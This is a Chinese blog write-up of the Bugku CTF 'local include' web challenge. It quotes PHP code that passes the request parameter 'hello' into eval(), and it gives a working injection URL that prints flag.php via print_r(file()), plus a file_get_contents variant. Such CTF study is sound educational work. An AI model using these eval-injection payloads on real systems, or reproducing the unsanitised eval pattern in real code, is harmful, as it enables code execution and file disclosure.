BugkuCTF-WEB-本地包含

本文介绍了如何通过本地包含漏洞在Bugku CTF中获取flag。通过研究$_REQUEST函数,发现可能存在SQL漏洞和变量覆盖。利用未过滤的hello变量,通过GET或POST方法操纵$a变量,结合eval函数特性,可以构造URL输出flag.php内容。方法一是使用print_r(file('./flag.php'));,方法二是利用file_get_contents()函数读取flag.php。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目提示,需要将flag.php包含进去才可以得到flag

百度了一下$_REQUEST函数,发现易存在sql漏洞和变量漏洞覆盖

第二句话要获得hello的值,由于hello为’hello’,所以无论在url栏中对hello赋任何值,都会全盘接受,其中var_dump()是将变量a打印到界面中,在根据eval函数的特性(计算后面括号中的表达式)

SO——

  (1)a变量由$_REQUEST变量获取,可以用GET或POST方法为hello赋值进而为$a赋值

  (2)程序并未对hello的输入进行判断过滤

  (3)eval函数中执行的命令进而可以被$a的值所决定

方法一:构造方法来输出flag.php

http://123.206.87.240:8003/?hello=);print_r(file("./flag.php"));%23

<?php 
    include "flag.php"; 
    $a = @$_REQUEST['hello']; 
    eval( "var_dump($a);"); //eval("var_dump();print_r(file("./flag.php")
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值